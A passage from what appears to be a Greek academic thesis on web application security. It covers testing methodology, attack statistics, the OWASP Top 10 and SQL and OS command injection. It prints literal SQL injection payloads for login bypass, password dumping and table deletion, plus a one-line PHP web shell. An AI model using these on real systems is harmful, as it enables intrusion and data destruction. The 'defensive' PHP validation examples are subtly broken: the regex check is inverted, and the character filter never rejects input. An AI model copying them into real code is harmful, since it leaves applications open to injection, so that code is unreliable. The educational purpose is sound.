δευτερόλεπτο µπορεί να εξυπηρετήσει ο server. Είναι χρήσιµο αυτό να µετρηθεί από µία µόνο ip ώστε να εξακριβώσουµε πόσες αιτήσεις θα πρέπει να δηµιουργήσει ένας hacker ώστε να προκαλέσει πρόβληµα. Επίσης, για να εξετάσουµε την περίπτωση πρόκλησης DoS µε εκµετάλλευση φυσικών πόρων του συστήµατος ελέγχουµε κάθε έναν ξεχωριστά βλέποντας το κατά πόσο είναι δυνατό ένας χρήστης να εξαντλήσει αυτόν τον πόρο. Συνεχίζουµε αποθηκεύοντας το σύνολο της web app και διαβάζουµε τον κώδικα για τυχόν παραλείψεις ή για οποιοδήποτε στοιχείο το οποίο µπορεί να φανεί χρήσιµο σε κάποιον hacker. Ψάχνουµε για δοκιµαστικά password και usernames που οι developer µπορεί να έβαλαν για δική τους ευκολία στον πηγαίο κώδικα µε µορφή σχολίων. Επίσης στοιχεία που µπορούν να βοηθήσουν σε µια προσπάθεια για exploit είναι emails, εξωτερικοί σύνδεσµοι ακόµα και αυτόµατοι σύνδεσµοι γιατί εµφανίζουν πληροφορίες και για άλλους συνδέσµους που περιέχει το site. Στη συνέχεια ελέγχουµε για ευπάθεια σε CGI και Directory traversal επιθέσεις. Το CGI(Common gateway interface ) είναι το στοιχείο που επέτρεψε στους server να εξελιχθούν και έπειτα να αναπτυχθούν µε τη σειρά τους οι web apps. Από server που παρουσίαζαν στατικές σελίδες καταφέραµε να έχουµε server οι οποίοι δίνουν το δικαίωµα στους χρήστες να αποστέλλουν πληροφορίες και να χρησιµοποιούν και άλλες εφαρµογές που βρίσκονται εκεί αποθηκευµένες. Με επιθέσεις σε CGI προγράµµατα και εφαρµογές, µε µία απλή εντολή µπορεί κάποιος να αποκτήσει 18

πρόσβαση σε πολύ σηµαντικά αρχεία και καταλόγους και στη συνέχεια να εκτελεί εντολές χωρίς να του έχει παραχωρηθεί εξουσιοδότηση. Στην επίθεση Directory Traversal γίνεται αλλοίωση των url που εισάγονται στον browser και µε αυτό τον τρόπο κάποιος µπορεί να έχει πρόσβαση στις διευθύνσεις καταλόγου του site και να εκτελεί εντολές διαγραφής ή ακόµα και άρνησης πρόσβασης στην εφαρµογή σε άλλους [6]. Πρέπει να είµαστε προσεκτικοί και να ελέγξουµε την ύπαρξη και τη σωστή ρύθµιση του αρχείου htaccess. Σε αυτό το αρχείο αποθηκεύουµε πληροφορίες για το ποια σελίδα θα εµφανίζεται πρώτη όταν κάποιος επισκέπτεται τον ιστότοπο και πως ιεραρχούνται οι υπόλοιπες. Ακολούθως, προσέχουµε για φακέλους και αρχεία που µπορεί να µην έχουµε «συνδέσει» µε την web app αλλά υπάρχουν στον server για σκοπούς back up(/tmp, /src, /abc, /xyz). Καλό είναι αυτές οι τοποθεσίες να εξετάζονται για τυχόν αρχεία και πληροφορίες που µπορούν να φανούν χρήσιµα σε έναν hacker δίνοντάς του κάποια δυνατότητα να εκτελέσει την οποιαδήποτε εντολή ή να ανεβάσει αυτός κάποιο αρχείο µε δικό του κώδικα. Και βάζοντας µια τελεία στον τοµέα των καταλόγων(directories) θα πρέπει να βεβαιωθούµε ότι έχει οριστεί µία σελίδα ως προεπιλογή διότι σε αντίθετη περίπτωση ο browser θα δώσει τη δυνατότητα να περιηγηθούµε στους καταλόγους και αν κάποιος δεν καλύπτεται από δικαιώµατα χρήσης από την εφαρµογή τότε βρισκόµαστε αυτόµατα στην προηγούµενη περίπτωση. Επόµενος «στόχος» µας είναι η µεταφορά των δεδοµένων και των αιτήσεων στο δίκτυο. Αυτό γίνεται µε το πρωτόκολλο HTTP ή HTTPS. Το πρωτόκολλο https δεν είναι τίποτα άλλο από πρωτόκολλο http πάνω σε SSL(Secure Lockets Layer)[8]. Η ουσία του πρωτοκόλλου SSL είναι ότι κρυπτογραφεί τα δεδοµένα που αποστέλλονται από τον client στον server. εν προσφέρει κρυπτογράφηση κατά την αποθήκευση των δεδοµένων στην web app απλά ενισχύει την ιδιωτικότητα [9][10] των δεδοµένων του χρήστη κατά την µεταφορά τους. Ακόµα κι έτσι όµως κάποιος µπορεί να χρησιµοποιήσει προγράµµατα τύπου proxies, όπως τα Achilies & Paros, ώστε να υποκλέψει και να αλλοιώσει τα δεδοµένα αυτά [11]. Είναι προφανές πως η χρήση του πρωτοκόλλου HTTPS είναι υποχρεωτική σε εφαρµογές που γίνεται αποστολή ευαίσθητων πληροφοριών ανάµεσα σε χρήστη και εφαρµογή αλλιώς αυτά τα δεδοµένα µεταδίδονται σε µορφή απλού κειµένου και κάποιος που προσπαθεί να υποκλέψει αυτά τα δεδοµένα το µόνο που έχει να κάνει είναι να «βρίσκεται» στο κανάλι επικοινωνίας και να «ακούει» τη συνεδρία(θα αναφερθούµε αναλυτικότερα παρακάτω). Μετά εξετάζουµε το µηχανισµό που έχουµε για ταυτοποίηση των στοιχείων χρήστη που κυρίως αποτελείται από κάποια σελίδα log in. Σε αυτό το σηµείο ελέγχουµε αν η εφαρµογή µας µπορεί να παραβιαστεί µε µεθόδους bruteforce, δηλαδή να µαντέψει ένα αυτοµατοποιηµένο σύστηµα ένα username και ένα password τα οποία θα αντιστοιχούν σε ένα χρήστη. Σε τέτοιου είδους επιθέσεις τον επίδοξο hacker τον βοηθούν τα εξής στοιχεία: α)υπάρχουν µέσα στο site τα username σε κοινή θέα(περιπτώσεις forum), β) ο µηχανισµός ταυτοποίησης επιστρέφει µηνύµατα λάθους σε κάθε προσπάθεια log in. Παρακάτω θα αναλυθεί πιο εκτενώς και µε τη µέθοδο Sql- Injection πως γίνεται ακριβώς η παράκαµψη του µηχανισµού και πως µπορούµε να την αποφύγουµε. Συνεχίζουµε µε την διαχείριση των cookies. Τα cookies είναι αρχεία στα οποία περιέχονται πληροφορίες σχετικά µε το χρήστη και κυρίως χρησιµοποιούνται από το server και την εφαρµογή για την ταυτοποίηση του χρήστη. Οι τύποι είναι δύο. Τα Persistent και τα Session. Η διαφορά είναι πως τα Persistent αποθηκεύονται στον υπολογιστή του χρήστη µόνιµα ενώ τα session τερµατίζονται αµέσως µετά την ολοκλήρωση της συνεδρίας µεταξύ του client και του server. Παρόλο που το πρωτόκολλο SSL προστατεύει τη µετάδοση των cookies µέσω του δικτύου, µπορούµε να αλλάξουµε αρκετά εύκολα τις πληροφορίες που περιέχουν από τη θέση που αποθηκεύονται στον υπολογιστή του client. 19

Τέλος και ίσως από τα πιο σηµαντικά µέρη, είναι η επικύρωση των δεδοµένων που εισάγονται από τους χρήστες. Έτσι πρέπει να ελέγξουµε κάθε στοιχείο το οποίο δέχεται δεδοµένα και τα µεταφέρει προς προσπέλαση στην εφαρµογή ή στον server. Ελέγχουµε την εφαρµογή µας ψάχνοντας για εκείνες τις εισόδους από τις οποίες µπορούµε να περάσουµε δεδοµένα τα οποία µπορούν να µας δώσουν πρόσβαση σε δεδοµένα ή να εκτελέσουµε εντολές πάνω στον server. Αυτή η διαδικασία πραγµατοποιείται είτε αυτοµατοποιηµένα από διάφορα προγράµµατα (penetration tools,fuzzers) είτε από εµάς δοκιµάζοντας νέες τεχνικές και εισόδους. Χρειάζεται και αρκετή φαντασία(κάτι που τα προγράµµατα δεν διαθέτουν) για να βρούµε κάποια είσοδο που να µπορεί να ξεγελάσει το σύστηµα και να µας δώσει πληροφορίες στις οποίες δεν έχουµε δικαιώµατα. Ένα πρόγραµµα fuzzer προσπαθεί να ανακαλύψει κενά ασφαλείας στέλνοντας τυχαίες εισόδους σε µία web app και λαµβάνει πίσω την απόκριση από την εφαρµογή. Εάν παρουσιαστεί κάποιο σφάλµα στην ιστοσελίδα ή έχουµε κάποιο exception τότε πιθανώς να έχουµε ανακαλύψει κάποια αδυναµία στην web app. Πολύ συχνά τα fuzzer δηµιουργούν σφάλµατα τα οποία στέλνουν ως εισόδους. Αυτού του είδους τα προγράµµατα είναι συνήθως αποτελεσµατικά στο να ανακαλύπτουν buffer overflow, DoS, Sql injection και Xss αδυναµίες(θα αναλυθούν αργότερα). Επειδή όµως περιµένουν κάποιου είδους εσφαλµένη απόκριση δεν είναι αποτελεσµατικά όταν κάποιο σφάλµα δεν προκαλεί στην εφαρµογή κάποιο exception ή διακοπή λειτουργίας. Τέτοιες περιπτώσεις είναι αδυναµίες στην κρυπτογράφηση και κοινοποίηση πληροφοριών. 3.-Ποιος είναι hacker και τι το hacking ; Ο όρος hacking χρησιµοποιείτε για να περιγράψουµε τη µη εξουσιοδοτηµένη πρόσβαση και χρήση υπολογιστών και δικτυακών πόρων[52]. Η πράξη αυτή αποτελεί κακούργηµα στις περισσότερες χώρες και τιµωρείτε µε βαριές ποινές. Αντίστοιχα ο hacker είναι το άτοµο το οποίο εισβάλλει χωρίς εξουσιοδότηση σε υπολογιστές και δίκτυα. O όρος hacker απέκτησε αρνητική σηµασία αρκετά αργότερα από την εµφάνισή του. Αρχικά ως hacker χαρακτηριζόταν ο ευρηµατικός και χαρισµατικός προγραµµατιστής. Στους κύκλους των hacker ο όρος που χρησιµοποιείτε για τους εγκληµατίες είναι cracker. Θα πρέπει έτσι να ξεχωρίσουµε τον όρο ethical(ηθικό) hacking όπου µε στόχο τον έλεγχο της ασφάλειας µιας ιστοσελίδας ή ενός δικτύου υπολογιστών ο hacker έχει την άδεια να προσπαθήσει να εισβάλλει στο σύστηµα και να αναφέρει τα κενά τα οποία εντόπισε. Ας επιστρέψουµε όµως στο µη εξουσιοδοτηµένο hacking. Όπως η τεχνολογία έτσι και οι σηµερινοί hacker εξελίσσονται ταχύτατα. Οι γνώσεις τους είναι εξειδικευµένες και πιο πλούσιες από ποτέ(λογικό). ουλεύουν συχνά σε οµάδες και είναι πολύ οργανωµένοι. Για ποιους λόγους οι διάφοροι hackers/crackers εισβάλλουν χωρίς άδεια σε δίκτυα και υπολογιστές; Προφανώς ο πρώτος λόγος είναι το οικονοµικό όφελος. Οικονοµικό όφελος το οποίο µπορεί να επιτευχθεί µε πολλούς έµµεσους και άµεσους τρόπους. Είτε κλέβοντας δεδοµένα πιστωτικών καρτών, τραπεζικών λογαριασµών αποσπούν χρηµατικά ποσά από πελάτες τραπεζών. Είτε µεταφέροντας την κίνηση στο internet σε δικές τους ιστοσελίδες. Είτε εκβιάζοντας ιδιοκτήτες ιστοσελίδων υπερφορτώνοντας τον server, όπου πλέον ζητούν χρηµατικό ποσό για να τον απελευθερώσουν(σε ιστοσελίδες τύπου καζίνο, στοιχηµάτων χάνονται λεφτά κάθε λεπτό που οι επισκέπτες τους δεν έχουν πρόσβαση). Ακόµα και µε διακίνηση παράνοµου λογισµικού. Τα οικονοµικά οφέλη όµως δεν είναι η µόνη αιτία. Υπάρχουν πολλές οµάδες hacker που επιδίδονται σε αυτές τις ενέργειες για ιδεολογικούς λόγους. Ως µορφή διαµαρτυρίας και αντίστασης πολλά κυβερνητικά και µη site δέχονται επιθέσεις από hacker ως αντίποινα για πρακτικές τους που έχουν αντίκτυπο σε µεγάλο αριθµό ανθρώπων διαφόρων χωρών. Παραδείγµατα τέτοιου είδους επιθέσεων 20

είχαµε µέσα στο πρώτο τρίµηνο του 2012 σε ελληνικά κυβερνητικά site από την οµάδα Anonymous. Επίσης αρκετά σηµαντικός λόγος είναι η φήµη που αποκτούν. Πολλοί hacker εκτελούν επιθέσεις µόνο και µόνο για να αποδείξουν ότι αυτοί είναι οι καλύτεροι. Πάρα πολλές επιθέσεις έχουν παρατηρηθεί µε στόχο τον «ΤΙΤΛΟ» του καλύτερου. 3.1-Παρουσίαση στις τάσεις του hacking Σε αυτό το σηµείο είναι σηµαντικό να εντοπίσουµε ποιες τεχνικές χρησιµοποιούν περισσότερο οι hacker και τι προσπαθούν να πετύχουν µε τις επιθέσεις τους, δηλαδή ποιο είναι το αποτέλεσµα των επιθέσεων που χρησιµοποιούν. Γι αυτό το σκοπό γίνεται αναφορά σε µελέτες και στατιστικά αποτελέσµατα, από οργανισµούς και εταιρίες, που έχουν αναρτηθεί στο διαδίκτυο. Όπως αναφέραµε και στην εισαγωγή οι ιστοσελίδες που στοχεύουν περισσότερο οι hackers για να διεισδύσουν σε βάσεις δεδοµένων και για να αποκτήσουν έλεγχο ή πρόσβαση σε δίκτυα είναι οι web apps. Κάτι το οποίο επιβεβαιώνεται και από στατιστικές µελέτες. To Σεπτέµβριο του 2009 το SANS Institute [5] ανακοίνωσε πως σε ποσοστό µεγαλύτερο του 60 % του συνόλου των επιθέσεων που παρατηρήθηκαν στο internet έγιναν ενάντια σε web apps. Στην ίδια µελέτη βρέθηκε πως σε ποσοστό µεγαλύτερο του 80% τα κενά που εκµεταλλεύονται οι hacker οφείλονται σε Cross site Scripting και SQL injection αδυναµίες. Παρόλη την ενηµέρωση για αυτό το θέµα και τον µεγάλο αριθµό επιθέσεων, πολλά site δεν είναι προστατευµένα λόγω ανεπαρκούς εκτίµησης της ασφάλειας από τους developers. Η Trustwave[53][54] δηµοσίευσε για το 2010 δύο µελέτες πάνω σε επιθέσεις που καταχωρήθηκαν στην Web Hacking Incident Database[17]. Ο αριθµός των επιθέσεων µπορεί να µην ήταν µεγάλος(σε σχέση µε τα πραγµατικά νούµερα σηµαντικά µικρός) παρόλα αυτά µπορούµε να εξάγουµε ενδιαφέροντα στατιστικά στοιχεία. Σε αυτές τις µελέτες παρατηρούµαι για το διάστηµα από τον Ιανουάριο µέχρι τον Ιούνιο του 2010 ποιες επιθέσεις ήταν οι πιο δηµοφιλείς σε web application προσανατολισµένα site. Με ποσοστό 14,66% και 9,55% αντίστοιχα (θέσεις 2 & 3), οι sql injection και DoS προκαλούν πολλά προβλήµατα στα site. Η συγκεκριµένη µελέτη κατέγραψε και ένα ακόµα σηµαντικό στοιχείο. Σε ποσοστό 25,5% των συνολικών exploit δεν υπάρχει πληροφόρηση για το πώς οι hacker εισέβαλαν στα συστήµατα. Αυτό οφείλεται είτε στην ανεπαρκή σχεδίαση των εποπτικών συστηµάτων του δικτύου (monitoring) και αποθήκευσης των συµβάντων κατά τη λειτουργία της εφαρµογής, είτε στην πολιτική των ιδιοκτητών των site να µην αποκαλύπτουν τι πραγµατικά συνέβη ώστε να µην έχουν οικονοµικές επιπτώσεις από τη δηµοσίευση ενός τέτοιου γεγονότος. Σε αυτό οφείλεται και ο µικρός αριθµός καταγεγραµµένων συµβάντων γενικότερα. Σε συνέχεια αυτής της έρευνας για το δεύτερο µισό του 2010(ΙΟΥΛ- ΕΚ) βλέπουµε αλλαγή στο «σκηνικό». Οι επιθέσεις τύπου DoS αυξήθηκαν και βρέθηκαν στην πρώτη θέση µε ποσοστό 32%. Στις επόµενες ακολούθησαν οι SQL injection, XSS και brute force. Ακολουθεί το στατιστικό διάγραµµα από τη σχετική δηµοσίευση. 21

Αρκετά ενδιαφέρον είναι και το στατιστικό διάγραµµα που ακολουθεί µε το αποτέλεσµα που είχαν οι επιθέσεις των hacker δηλαδή τι προσπαθούσαν να επιτύχουν. Παρατηρούµε πως στόχος ήταν κυρίως η διακοπή της λειτουργίας της ιστοσελίδας. Από τα µέσα του 2010 και µέχρι σήµερα είναι γεγονός πως οι επιθέσεις µε στόχο την διακοπή της λειτουργίας ιστοσελίδων έχουν αυξηθεί δραµατικά. Αυτό µπορεί να επιβεβαιωθεί από κάποιον και από µία απλή αναζήτηση σε ειδησεογραφικά µέσα και να ανακαλύψει την ύπαρξη και δράση διάφορων οµάδων hacker (πχ. Anonymous) οι οποίοι προτιµούν αυτές τις µεθόδους ως αντίποινα σε στόχους που επιλέγουν. 22

Μία ακόµη µελέτη, αυτή τη φορά από την Imperva[18], φανερώνει το πλήθος των ιστοσελίδων σήµερα στον παγκόσµιο ιστό, τις οποίες εκτιµά σε 357,292,065 µέχρι και τον Ιούλιο του 2011. Σε αυτή την µελέτη καταγράφηκαν επιθέσεις σε 30 web apps το διάστηµα µεταξύ εκεµβρίου του 2010 έως και το Μάιο του 2011. Σύµφωνα λοιπόν µε την έρευνα ένα site µπορεί να δέχεται επίθεση κάθε 2 λεπτά(27 επιθέσεις κάθε ώρα). Το νούµερο αυτό βέβαια είναι ο µέσος όρος. Τα πράγµατα αλλάζουν στην περίπτωση που η επίθεση γίνεται µε αυτοµατοποιηµένα µέσα,πχ botnets [36], όπου εκεί το στοχευµένο site µπορεί να δέχεται και 7 επιθέσεις το δευτερόλεπτο. Αυτή είναι και η τεχνική που επικρατεί στο internet, δηλαδή προτιµούνται η αυτοµατοποιηµένες επιθέσεις, αποτελούµενες από δύο φάσεις. Πρώτα γίνεται αναζήτηση για σηµεία ευάλωτα και έπειτα η προσπάθεια για exploit. Παρακάτω στο σχήµα (Εικόνα 3) φαίνονται τα ποσοστά των πιο συχνών επιθέσεων που παρατηρήθηκαν κατά τη διάρκεια της έρευνας. Εικόνα 3. 3.2.-OWASP Top 10 security risks Σύµφωνα µε τη δηµοσίευση του 2010 από τον OWASP [1], µετά από έρευνα, παρουσιάστηκαν οι δέκα πιο επικίνδυνες αδυναµίες-επιθέσεις που µπορούµε να συναντήσουµε σε µια εφαρµογή. Με σειρά φθίνουσας σηµασίας αυτές είναι : Α1-Injection A2-Cross-site scripting(xss) A3-Broken authentication and Session management A4-Insecure Direct Object References A5-Cross-site Request Forgery(CSRF) A6-Security misconfiguration A7-Insecure cryptographic storage A8-Failure to restrict URL access A9-Insufficient transport layer protection A10-Unvalidated redirects and forwards 23

Παρακάτω θα παρουσιαστούν αυτές οι «επιθέσεις» και τρόποι µε τους οποίους µπορούµε να προστατέψουµε την εφαρµογή µας από αυτές. Επιλέχτηκαν αυτές οι δέκα για δύο λόγους. Και είναι από τις πιο συχνά εµφανιζόµενες και είναι από τις πιο επικίνδυνες. Μπορούν δηλαδή να προκαλέσουν µεγάλα πλήγµατα στους ιδιοκτήτες των site, οικονοµικά και προβλήµατα αξιοπιστίας. 3.2.1- Εισαγωγή κώδικα(code Injection) Επιθέσεις Injection συµβαίνουν όταν κάποιος καταφέρει να στείλει κακόβουλα δεδοµένα ως µέρος µιας εντολής ή µιας ερώτησης(query). Έτσι ο διερµηνέας ή ο server εξαπατάται και είτε εκτελεί µεµονωµένες ή επιπρόσθετες εντολές, είτε επιτρέπει την πρόσβαση σε απόρρητα δεδοµένα, που σε άλλη περίπτωση ο συγκεκριµένος χρήστης δε θα είχε δικαίωµα και δυνατότητα να εκτελέσει. Υποκατηγορίες αυτού του είδους επίθεσης και πιο συχνά εµφανιζόµενες είναι οι : Ι)SQL ΙΙ)OS command ΙΙΙ)LDAP ΙV)XML V)XPATH Ι) Sql Injection[19][20][2][21][12] Η Sql Injection είναι τεχνική επίθεσης σε εφαρµογές που δηµιουργούν sql queries από τα δεδοµένα που εισάγει ένας χρήστης. Μέσα στα δεδοµένα που χρησιµοποιούµε για την κατασκευή της ερώτησης µπορεί να υπάρχουν επιπρόσθετες εντολές για την ανάκτηση επιπλέον δεδοµένων ή ακόµα και εντολές συστήµατος. Ο λόγος που αυτή η επίθεση είναι τόσο σοβαρή είναι ότι οι δυνατότητες που έχει να προσβάλει µία web app είναι τόσες µεγάλες όση και η φαντασία(ευφυΐα) που διαθέτει ο επιτιθέµενος. Πως αναγνωρίζουµε όµως αν η εφαρµογή µας είναι ευάλωτη σε sql injection; Σε οποιοδήποτε σηµείο µέσα στην web υπάρχει «φόρµα» η οποία δέχεται δεδοµένα για query µπορούµε να εισάγουµε σύµβολα όπως, ;,,, -- και να δούµε ποια θα είναι η απόκριση του συστήµατος. Σε περίπτωση που πάρουµε κάποια απόκριση σφάλµατος τότε καταλαβαίνουµε ότι η εφαρµογή είναι ευάλωτη. Φυσικά µπορούµε και αυτόµατα µε προγράµµατα να ελέγξουµε αν τα σηµεία στα οποία πραγµατοποιούµε queries είναι ευάλωτα. Τι γίνεται όµως στην περίπτωση που το σύστηµα έχει προγραµµατιστεί έτσι ώστε να µην αποκαλύπτει τέτοιες αδυναµίες, µη επιστρέφοντας µηνύµατα λάθους; Σε αυτή την περίπτωση χρησιµοποιούµε Blind Injection όπου πρώτα βλέπουµε πως αποκρίνεται το σύστηµα σε µια σωστή query και στη συνέχεια δηµιουργούµε µία εσφαλµένη query και προσπαθούµε να παρατηρήσουµε έστω και την ελάχιστη αλλαγή στη συµπεριφορά της web app. ηλαδή, έστω ότι στέλνουµε : SELECT title FROM books WHERE isbn = '1253252345' AND '1'='1'; To αποτέλεσµα θα είναι µία σελίδα που θα εµφανιζόταν και σε κανονικές συνθήκες αφού η συνθήκη που προσθέσαµε στην ερώτηση είναι πάντα αληθής. Αν όµως στείλουµε SELECT title FROM books WHERE isbn = '1253252345' AND '1'='2'; τότε το πιο πιθανό είναι να εµφανιστεί αλλοιωµένη η σελίδα µπροστά µας είτε σε διαφορετική περίπτωση να γυρίσουµε στην αρχική σελίδα της εφαρµογής. Αυτό εξαρτάται από το πώς ο developer της ιστοσελίδας έχει αποφασίσει να διαχειρίζεται τέτοια λάθη. Ακόµα και µια χρονική 24

καθυστέρηση στην απόκριση(σε σχέση µε το συνήθη χρόνο απόκρισης) µπορεί να µας αποκαλύψει ότι βρήκαµε κάποιο ευάλωτο σηµείο. Τα είδη της επίθεσης αυτής είναι αρκετά. Οι δύο ποιο γνωστές και ευρέως χρησιµοποιούµενες µέθοδοι είναι η sql manipulation όπου προσπαθούµε να τροποποιήσουµε την ερώτηση που γίνεται στη βάση και η code injection όπου προσθέτουµε επιπλέον εντολές προς εκτέλεση. Sql Manipulation Ας θεωρήσουµε πως έχουµε µια web app που απαιτεί log in. Η αναγνώριση κάθε χρήστη γίνεται µε username και password τα οποία αποθηκεύονται σε µία βάση δεδοµένων. Όταν ο χρήστης τοποθετήσει τα στοιχεία του η ταυτοποίηση γίνεται µε την εξής ερώτηση: SQLQuery = SELECT * FROM Users WHERE UserName=$username AND Password=$password ; Το «εισιτήριο» εισόδου δίνεται όταν η επιστροφή από το query είναι µία εγγραφή(µία σειρά από τον πίνακα) και η τιµή της συνθήκης µας είναι 1(αληθής). Αν όµως προσθέσουµε στην ερώτηση την εξής ακολουθία χαρακτήρων: τότε θα έχουµε µια ερώτηση OR 1=1 SQLQuery = SELECT * FROM Users WHERE UserName=$username AND Password=$password OR 1=1 ; Από εδώ βλέπουµε ότι όποιο και να είναι το αποτέλεσµα της αναζήτησης στη βάση η συνθήκη στο τέλος θα είναι πάντα αληθής. Έτσι παρακάµπτεται το σύστηµα ταυτοποίησης. Ανάλογα µε τον server και τη βάση δεδοµένων οι χαρακτήρες αλλοίωσης της ερώτησης µπορεί να διαφέρουν. Γι αυτό µπορούµε να δοκιµάζουµε και άλλες περιπτώσεις. ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1-- ') or ('1'='1--.. Οι χαρακτήρες ( -- ) και ( # ) χρησιµοποιούνται για να απορριφθεί η συνέχεια της ερώτησης ώστε να µην είµαστε αναγκασµένοι να διορθώσουµε το συντακτικό της σε περίπτωση λάθους. SQL Code injection Όπως αναφέρθηκε στην αρχή µε τη συγκεκριµένη µέθοδο προσπαθούµε να προσθέσουµε επιπλέον εντολές στο τέλος της query που θα γίνει στη βάση. Αυτό γίνεται µε την προσθήκη εντολών UNION ή µε τη χρήση χαρακτήρων, ; οι οποίοι µας επιτρέπουν να προσθέσουµε κι άλλες εντολές. Πχ. Επιλέγουµε από κάποιο πίνακα να µας εµφανίσει συγκεκριµένα τον τίτλο από ένα βιβλίο µε καθορισµένο isbn. ίπλα όµως στη φόρµα εµείς προσθέτουµε τον κώδικα µε το κόκκινο χρώµα. 25

SQLQuery = SELECT title FROM Books WHERE isbn= 123425345 UNION SELECT Password FROM Users; Έτσι ξεγελάµε τον server και µας επιστρέφει όλα τα συνθηµατικά από τους χρήστες. Ακόµα πιο σοβαρά θα ήταν τα αποτελέσµατα για εµάς αν ο επιτιθέµενος προσέθετε στην ερώτηση τα εξής: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; -- Σε αυτή την περίπτωση ο πίνακας members διαγράφεται από τη βάση. είξαµε πως δουλεύει σε γενικές γραµµές η επίθεση, η οποία έχει κάποιες επιπλέον τεχνικές, και πως µπορεί να επηρεάσει την web app. Πως όµως προστατευόµαστε; Η απάντηση είναι λίγο γενική καθώς αφορά και όλες τις επιθέσεις τύπου injection. ΕΠΙΚΥΡΩΣΗ Ε ΟΜΕΝΩΝ!! Σε κάθε σηµείο µέσω του οποίου η web app θα δεχθεί δεδοµένα από το χρήστη θα πρέπει το σύστηµα να ελέγχει τα δεδοµένα για «ύποπτους» χαρακτήρες και επιπρόσθετες εντολές που τυχόν έχουν προστεθεί. Ανάλογα µε ποιο πρόγραµµα διαχείρισης βάσεων δεδοµένων διαθέτουµε και µε ποια γλώσσα αναπτύσσουµε την web app υπάρχουν και τα αντίστοιχα εργαλεία-συναρτήσεις που µπορούν να κάνουν αυτή τη δουλειά. Για παράδειγµα στην php υπάρχει η mysql_real_escape_string(). Μέσω αυτής της συνάρτησης όλοι οι ειδικοί χαρακτήρες που αναφέραµε (/*,,,--, #) απορρίπτονται από την είσοδο. Έπειτα µπορούµε να χρησιµοποιήσουµε τα δεδοµένα εισόδου για την ερώτησή µας. Επίσης, κάθε φορά που ζητάµε από το χρήστη δεδοµένα για να συνθέσουµε µια ερώτηση θα πρέπει να έχουµε ορίσει από πριν τι είδους δεδοµένα αναµένονται και πόσο θα είναι το πιθανό µέγεθος των δεδοµένων εισόδου, πχ. σε περιπτώσεις password πόσα ψηφία ή χαρακτήρες και ποια σύµβολα είναι αποδεκτά. Αυτό γίνεται µε έτοιµες συναρτήσεις ή και δικό µας κώδικα. Πχ στην php υπάρχει η συνάρτηση preg_match() όπου σε µία είσοδο µπορεί να ελέγξει αν υπάρχουν τα δεδοµένα που εµείς θέλουµε : 1)if(preg_match("/^[0-9]{5}$/", $form_zipcode)) {echo "The ZIP code must be a 5- digit number.";} Το συγκεκριµένο παράδειγµα ελέγχει αν η είσοδος αντιπροσωπεύει έγκυρο ταχυδροµικό κώδικα. Ελέγχει αν τα δεδοµένα είναι αριθµοί 0-9 και αν το µέγεθος είναι 5 νούµερα. Υπάρχει µήνυµα το οποίο µας αναφέρει ότι ο κώδικας ZIP πρέπει να αποτελείται από έναν αριθµό 5 ψηφίων σε περίπτωση που βρεθεί κάποιος άλλος χαρακτήρας ή περισσότεροι των 5 χαρακτήρες. Στην ASP.NET υπάρχει παρόµοια συνάρτηση Regex.Escape(string) όπου αφαιρεί από ένα string ειδικούς χαρακτήρες. 2)Μπορούµε όµως να δηµιουργήσουµε και δικό µας κώδικα. ΠΧ. function checkalphanum($str){ $allowed = "0123456789abcdefghijklmnopqrstuvwxyz_-ABCDEFGHIJKLMNOPQRSTUVWXYZ"; if(strlen($str) == 20){ return false;} for($i=0; $i < count($str); $i++){ if(strpos($allowed, substr($str, $i, 1)) == -1){ return false; } } return true; } 26

Η παραπάνω συνάρτηση δέχεται ως είσοδο ένα string και ελέγχει αν το µέγεθός του είναι 20 χαρακτήρες. Επίσης ελέγχει αν οι χαρακτήρες είναι αποκλειστικά γράµµα του λατινικού αλφάβητου (µικρό κεφαλαίο) ή αριθµός. Άλλα µέτρα για προστασία έναντι sql injection είναι η εφαρµογή δικαιωµάτων χρήσης πάνων στον database server. Θα πρέπει να είµαστε πολλοί προσεκτικοί σε ποιες περιπτώσεις δίνουµε write δικαιώµατα σε κάποιον χρήστη(αναγνωρισµένος και µη). ηλαδή ακόµα και αν περάσει κάποια εντολή µέσα στην query κάποιος το σύστηµα θα πρέπει να ελέγχει αν πραγµατικά έχει το δικαίωµα να εκτελέσει τέτοιους είδους εντολές ο εν λόγω χρήστης. Ακόµα, όποτε µπορούµε να χρησιµοποιούµε είδη υπάρχουσες διαδικασίες για τη διεξαγωγή ερωτήσεων ενηµερώσεων σε µια βάση είναι προτιµότερο να χρησιµοποιούνται αυτές παρά να συντάσσουµε δυναµικά την ερώτηση από δεδοµένα εισόδου. ΙΙ)OS Command[2] [22] Όπως προκύπτει και από το όνοµα αναφερόµαστε σε µια επίθεση η οποία επιτρέπει την µη εξουσιοδοτηµένη εκτέλεση εντολών συστήµατος µε δικαιώµατα διαχειριστή. Πως; Ένας hacker εκµεταλλεύεται ή την ύπαρξη στον κώδικά µας συναρτήσεων όπως system();, exec();, passthru(); και εκτελεί µέσω αυτών διάφορες εντολές. Για αυτό το λόγο δε θα πρέπει ποτέ να χρησιµοποιούµε στον κώδικά µας αυτές τις συναρτήσεις. Ακόµα κι έτσι όµως κάποιος hacker µπορεί να ανεβάσει ένα command shell στον server και να το προσπελάσει για να εκτελεί OS commands. Ένα πολύ βασικό command shell γραµµένο σε php έχει τη µορφή <?php $cmd =$_GET[ cmd ]; system($cmd);?> Κατά καιρούς έχουν υπάρξει πολλά shell αρχεία,πολύπλοκου κώδικα,τα οποία χρησιµοποιούν µέσα από τον κώδικά τους διάφορα εργαλεία για να κάνουν τη δουλειά των hacker πολύ πιο εύκολη. Με µια αναζήτηση στο GOOGLE είναι αρκετά εύκολο κάποιος να βρει έτοιµα τέτοια αρχεία. Για να ανέβει στον server ένα τέτοιο shell µπορούν να χρησιµοποιηθούν αρκετοί τρόποι. Είτε µέσω έτοιµης upload σελίδας που υπάρχει στην εφαρµογή, είτε µέσω sql injection, είτε µέσω εκτέλεσης άλλου κώδικα(java script, css). Αργότερα θα δείξουµε ένα παράδειγµα για το πώς µπορούµε να χρησιµοποιήσουµε ένα τέτοιο αρχείο. Πως προστατευόµαστε; Πέρα από τα γνωστά, τα οποία µας βοηθούν στο να αποτρέψουµε όσο είναι δυνατόν το ανέβασµα ενός τέτοιου αρχείου, σε περίπτωση που κάποιος καταφέρει να ανεβάσει ένα shell και να εκτελεί εντολές αυτό που πρέπει να κάνουµε είναι όσο το δυνατόν πιο γρήγορα να ανακαλύψουµε το αρχείο αυτό, να το διαγράψουµε και να βρούµε 